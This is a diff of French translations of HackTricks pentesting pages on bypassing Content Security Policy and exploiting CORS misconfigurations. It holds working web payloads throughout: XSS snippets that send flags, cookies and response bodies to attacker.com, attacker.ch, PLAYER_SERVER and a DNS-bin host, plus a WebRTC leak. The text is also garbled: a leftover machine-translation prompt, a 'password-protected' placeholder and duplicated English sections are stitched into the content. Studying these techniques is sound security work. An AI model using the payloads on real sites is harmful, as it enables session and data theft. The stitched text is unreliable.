**Trouvez d'autres contournements Angular sur** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -451,7 +495,7 @@ Cependant, le final `http://localhost:5555/301` sera **redirigé côté serveur
Avec cette redirection, même si le chemin est spécifié complètement, il sera quand même contourné.
Par conséquent, la meilleure solution est de s'assurer que le site web ne présente aucune vulnérabilité de redirection ouverte et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
Par conséquent, la meilleure solution est de s'assurer que le site web n'a pas de vulnérabilités de redirection ouverte et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
### Contourner CSP avec du balisage suspendu
@ -463,13 +507,13 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce cas, le XSS abuse d'un CSRF où une page accessible par le bot contient une injection SQL, et extrait le drapeau via une image):
Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce cas, le XSS exploite un CSRF où une page accessible par le bot contient une injection SQL, et extrait le drapeau via une image):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
De : [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **téléverser** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **charger** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Avec les Travailleurs de Service
@ -501,7 +545,7 @@ Exemple: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
### img-src \*; via XSS (iframe) - Attaque temporelle
Remarquez l'absence de la directive `'unsafe-inline'`\
Cette fois, vous pouvez faire charger à la victime une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire pour charger la page**, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction de pause. Ensuite, vous pourrez extraire le drapeau:
```html
@ -581,17 +625,17 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`**:
```
{% endcode %}
Dans [**ce compte rendu de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin de désactiver un script empêchant la CSTI, rendant ainsi la **vulnérabilité exploitable.**\
Le CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés en **supprimant** l'**entrée** autorisant leur **nonce** et en **activant un script en ligne spécifique via sha**:
Dans [**ce compte rendu CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc que la **vulnérabilité devienne exploitable.**\
Le CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés **en supprimant** l'**entrée** autorisant leur **nonce** et **en activant un script en ligne spécifique via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### Exfiltration JS avec Content-Security-Policy-Report-Only
### Exfiltration de JS avec Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` est très probablement interdit par le CSP, cela va **déclencher une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Pour un exemple, consultez [**cette solution CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -607,7 +651,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, ce qui peut entraîner une fuite potentielle d'informations sensibles en raison d'un comportement indéfini.
Une autre technique implique d'exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester de manière itérative différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode:
Une autre technique implique d'exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et sur l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester de manière itérative différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -625,7 +669,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
**Actualités de Hacking en Temps Réel**\
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux perspectives en temps réel
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
**Dernières Annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
@ -636,7 +680,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
### Surcharge du tampon de réponse PHP
PHP est connu pour **mettre en tampon la réponse jusqu'à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données à l'intérieur des avertissements**, la **réponse** sera **envoyée** **avant** l'en-tête **CSP**, ce qui entraîne l'ignorance de l'en-tête.\
PHP est connu pour **mettre en mémoire tampon la réponse jusqu'à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données à l'intérieur des avertissements**, la **réponse** sera **envoyée** **avant** l'en-tête **CSP**, ce qui entraîne l'ignorance de l'en-tête.\
Ensuite, la technique consiste essentiellement à **remplir le tampon de réponse avec des avertissements** pour que l'en-tête CSP ne soit pas envoyé.
Idée provenant de [**ce writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -652,20 +696,20 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### QUELQUES + 'self' + wordpress
QUELQUES est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
QUELQUES est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflètera** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **refléter** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** **vulnérable** qui **contourne le CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...\
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** **vulnérable** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements de l'exfiltration CSP
S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations.
S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer l'information.
### Location
@ -691,31 +735,29 @@ var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
## Bypassing Content Security Policy (CSP)
### Bypassing Content Security Policy (CSP)
### Introduction
---
#### Introduction
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.
### What is Content Security Policy (CSP)?
#### What is Content Security Policy (CSP)?
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which the browser can load resources for a specific web page. If an attacker tries to load resources from unauthorized sources, CSP will block those requests.
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which certain types of content can be loaded on a web page. This helps to prevent unauthorized execution of scripts and other potentially harmful content.
### Bypassing CSP using Unrestricted Directives
#### Bypassing CSP
Some CSP directives, such as `unsafe-inline` and `unsafe-eval`, can weaken the security provided by CSP. By allowing these directives in the CSP header, an attacker can bypass certain restrictions imposed by CSP.
There are several ways to bypass CSP protections, including:
### Bypassing CSP using Data URI
1. **Inline Script Execution**: By finding ways to execute scripts inline within the HTML document.
2. **External Script Execution**: Loading scripts from unauthorized sources or bypassing restrictions on script sources.
3. **Data Injection**: Injecting data into the page to execute malicious scripts.
4. **Dynamic Evaluation**: Dynamically evaluating code to bypass CSP restrictions.
5. **Nonce Bypass**: Finding ways to bypass nonce-based CSP protections.
Data URI can be used to embed external resources directly within a web page. By using data URI, an attacker can bypass CSP restrictions by embedding malicious code within the web page itself.
### Bypassing CSP using Trusted Endpoints
If a web application allows loading resources from trusted endpoints, an attacker can host malicious code on those trusted endpoints and bypass CSP restrictions.
### Conclusion
Content Security Policy (CSP) is a powerful security mechanism that can help protect web applications from various types of attacks. However, it is important to understand the potential bypass techniques in order to effectively secure web applications against CSP bypass vulnerabilities.
By understanding these techniques, you can effectively test the security of web applications that have CSP implemented.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
@ -738,9 +780,11 @@ En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Co
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
### Autre option :
### French Translation:
Le contenu de ce fichier est protégé par un mot de passe. Veuillez entrer le mot de passe pour afficher le contenu.
Le contenu suivant est extrait d'un livre sur les techniques de piratage. Le contenu suivant provient du fichier pentesting-web/content-security-policy-csp-bypass/README.md.
Traduisez le texte anglais pertinent en français et renvoyez la traduction en conservant exactement la même syntaxe markdown et html. Ne traduisez pas les éléments tels que le code, les noms de techniques de piratage, les mots de piratage, les noms de plateformes cloud/SaaS (comme Workspace, aws, gcp...), le mot 'leak', pentesting et les balises markdown. N'ajoutez rien d'autre à part la traduction et la syntaxe markdown.
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -775,13 +819,13 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
**Perspectives sur le piratage**\
Engagez-vous avec du contenu qui explore les défis et l'excitation du piratage
**Actualités sur le piratage en temps réel**\
Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations
Restez informé du monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
@ -794,7 +838,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -26,7 +26,7 @@ L'application de la politique de même origine dans le contexte de `http://norma
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Oui: Schéma, domaine et port identiques |
| `http://normal-website.com/example2/` | Oui: Schéma, domaine et port identiques |
| `https://normal-website.com/example/` | Non: Schéma et port différents |
| `https://normal-website.com/example/` | Non: Schéma et port différents |
| `http://en.normal-website.com/example/` | Non: Domaine différent |
| `http://www.normal-website.com/example/` | Non: Domaine différent |
| `http://normal-website.com:8080/example/` | Non: Port différent\* |
@ -41,7 +41,7 @@ Cet en-tête est **émis par un serveur** en réponse à une requête de ressour
### En-tête `Access-Control-Allow-Credentials`
Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête d'autorisation. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête Authorization. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
Si défini sur `true`, le navigateur transmettra les informations d'identification (cookies, en-têtes d'autorisation ou certificats client TLS).
```javascript
@ -76,7 +76,7 @@ xhr.send('<person><name>Arun</name></person>');
Lors de l'initiation d'une requête inter-domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vol peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête inter-origines, y compris les méthodes HTTP et les en-têtes qu'elle compte utiliser.
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification de pré-vol pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vol, consultez le guide complet fourni par le [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification de pré-vol pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vol, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Il est crucial de noter que **l'absence d'une requête de pré-vol n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origines.
@ -103,7 +103,7 @@ Access-Control-Max-Age: 240
* **`Access-Control-Expose-Headers`**: À travers ce header, le serveur informe le client des en-têtes qui peuvent être exposés en plus des en-têtes de réponse simples.
* **`Access-Control-Max-Age`**: Ce header indique pendant combien de temps les résultats d'une requête pré-vol peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête pré-vol peuvent être réutilisées.
* **`Access-Control-Request-Headers`**: Utilisé dans les requêtes pré-vol, ce header est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
* **`Access-Control-Request-Method`**: Ce header, également utilisé dans les requêtes pré-vol, est défini par le client pour indiquer quelle méthode HTTP sera utilisée dans la requête réelle.
* **`Access-Control-Request-Method`**: Ce header, également utilisé dans les requêtes pré-vol, est défini par le client pour indiquer la méthode HTTP qui sera utilisée dans la requête réelle.
* **`Origin`**: Ce header est automatiquement défini par le navigateur et indique l'origine de la requête entre domaines. Il est utilisé par le serveur pour évaluer si la requête entrante doit être autorisée ou refusée en fonction de la politique CORS.
Notez qu'en général (selon le type de contenu et les en-têtes définis), dans une requête **GET/POST, aucune requête pré-vol n'est envoyée** (la requête est envoyée **directement**), mais si vous souhaitez accéder aux **en-têtes/corps de la réponse**, elle doit contenir un en-tête _Access-Control-Allow-Origin_ le permettant.\
@ -111,7 +111,7 @@ Notez qu'en général (selon le type de contenu et les en-têtes définis), dans
### **Requête pré-vol pour les demandes du réseau local**
1. **`Access-Control-Request-Local-Network`**: Ce header est inclus dans la requête du client pour indiquer que la demande est destinée à une ressource du réseau local. Il sert de marqueur pour informer le serveur que la requête provient du réseau local.
1. **`Access-Control-Request-Local-Network`**: Ce header est inclus dans la requête du client pour indiquer que la demande est destinée à une ressource du réseau local. Il sert de marqueur pour informer le serveur que la demande provient du réseau local.
2. **`Access-Control-Allow-Local-Network`**: En réponse, les serveurs utilisent ce header pour communiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières réseau, assurant un accès contrôlé tout en maintenant les protocoles de sécurité.
Une **réponse valide autorisant la demande du réseau local** doit également contenir dans la réponse l'en-tête `Access-Controls-Allow-Local_network: true` :
@ -133,7 +133,7 @@ Il est également possible de **contourner les exigences du réseau local** si v
## Configurations mal sécurisées exploitables
Il a été observé que le paramétrage de `Access-Control-Allow-Credentials` sur **`true`** est une condition préalable pour la plupart des **attaques réelles**. Ce paramètre permet au navigateur d'envoyer des informations d'identification et de lire la réponse, améliorant ainsi l'efficacité de l'attaque. Sans cela, l'avantage de faire émettre une requête par un navigateur plutôt que de le faire soi-même diminue, car l'exploitation des cookies d'un utilisateur devient irréalisable.
Il a été observé que le paramétrage de `Access-Control-Allow-Credentials` à **`true`** est une condition préalable pour la plupart des **attaques réelles**. Ce paramètre permet au navigateur d'envoyer des informations d'identification et de lire la réponse, améliorant ainsi l'efficacité de l'attaque. Sans cela, l'avantage de faire effectuer une requête par un navigateur plutôt que par soi-même diminue, car l'exploitation des cookies d'un utilisateur devient irréalisable.
### Exception : Exploitation de la localisation réseau comme authentification
@ -141,7 +141,7 @@ Une exception existe lorsque la localisation réseau de la victime agit comme un
### Réflexion de `Origin` dans `Access-Control-Allow-Origin`
Le scénario réel où la valeur de l'en-tête `Origin` est reflétée dans `Access-Control-Allow-Origin` est théoriquement improbable en raison des restrictions sur la combinaison de ces en-têtes. Cependant, les développeurs cherchant à activer CORS pour plusieurs URL peuvent générer dynamiquement l'en-tête `Access-Control-Allow-Origin` en copiant la valeur de l'en-tête `Origin`. Cette approche peut introduire des vulnérabilités, en particulier lorsqu'un attaquant utilise un domaine avec un nom conçu pour sembler légitime, trompant ainsi la logique de validation.
Le scénario réel où la valeur de l'en-tête `Origin` est reflétée dans `Access-Control-Allow-Origin` est théoriquement improbable en raison des restrictions sur la combinaison de ces en-têtes. Cependant, les développeurs cherchant à activer CORS pour plusieurs URL peuvent générer dynamiquement l'en-tête `Access-Control-Allow-Origin` en copiant la valeur de l'en-tête `Origin`. Cette approche peut introduire des vulnérabilités, en particulier lorsque qu'un attaquant utilise un domaine avec un nom conçu pour sembler légitime, trompant ainsi la logique de validation.
```html
<script>
var req = new XMLHttpRequest();
@ -154,7 +154,7 @@ location='/log?key='+this.responseText;
};
</script>
```
### Exploitation de l'origine `null`
### Exploiter l'origine `null`
L'origine `null`, spécifiée pour des situations telles que les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à leur liste blanche pour faciliter le développement local, permettant involontairement à n'importe quel site web de simuler une origine `null` via un iframe sandboxé, contournant ainsi les restrictions CORS.
```html
@ -182,11 +182,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Techniques de contournement des expressions régulières
### Techniques de Contournement des Expressions Régulières
Lorsqu'on rencontre une liste blanche de domaines, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaines. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement.
### Contournements avancés des expressions régulières
### Contournements Avancés des Expressions Régulières
Les modèles Regex se concentrent généralement sur les caractères alphanumériques, le point (.), et le tiret (-), en négligeant d'autres possibilités. Par exemple, un nom de domaine conçu pour inclure des caractères interprétés différemment par les navigateurs et les modèles Regex peut contourner les vérifications de sécurité. La manière dont Safari, Chrome et Firefox gèrent les caractères de soulignement dans les sous-domaines illustre comment de telles divergences peuvent être exploitées pour contourner la logique de validation de domaine.
@ -214,7 +214,7 @@ Dans cette configuration, tous les sous-domaines de `requester.com` sont autoris
Il est possible qu'en exploitant l'empoisonnement du cache côté serveur via l'injection d'en-têtes HTTP, une vulnérabilité de script intersite stocké (XSS) puisse être induite. Ce scénario se déroule lorsque qu'une application ne nettoie pas l'en-tête `Origin` des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et Edge. Ces navigateurs considèrent (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-têtes HTTP.
Considérez la requête suivante où l'en-tête `Origin` est manipulé:
Considérez la requête suivante où l'en-tête `Origin` est manipulé :
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@ -225,11 +225,11 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Bien que l'exploitation directe de cette vulnérabilité en envoyant un en-tête malformé depuis un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait entraîner la sauvegarde de la réponse dans un cache côté serveur et sa diffusion involontaire à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait entraîner la sauvegarde de la réponse dans un cache côté serveur et sa diffusion involontaire à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance critique de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités.
**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance critique de la validation et de la désinfection de toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités.
### **Empoisonnement du cache côté client**
@ -265,7 +265,7 @@ Pour mieux comprendre et atténuer cette vulnérabilité, vous pouvez utiliser l
[**En savoir plus sur les différents types de XSSI et comment les exploiter ici.**](xssi-cross-site-script-inclusion.md)
Essayez d'ajouter un **paramètre `callback`** dans la requête. Peut-être que la page était préparée pour envoyer les données sous forme de JSONP. Dans ce cas, la page renverra les données avec `Content-Type: application/javascript`, ce qui contournera la politique CORS.
Essayez d'ajouter un **`callback`** **paramètre** dans la requête. Peut-être que la page était préparée pour envoyer les données sous forme de JSONP. Dans ce cas, la page renverra les données avec `Content-Type: application/javascript`, ce qui contournera la politique CORS.
![](<../.gitbook/assets/image (229).png>)
@ -284,9 +284,9 @@ Vous pouvez **contourner les vérifications CORS** telles que `e.origin === wind
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### Réattribution DNS via TTL
### Réadressage DNS via TTL
La réattribution DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :
Le réadressage DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :
1. L'attaquant crée une page web et fait en sorte que la victime y accède.
2. L'attaquant modifie ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime.
@ -296,25 +296,25 @@ La réattribution DNS via TTL est une technique utilisée pour contourner certai
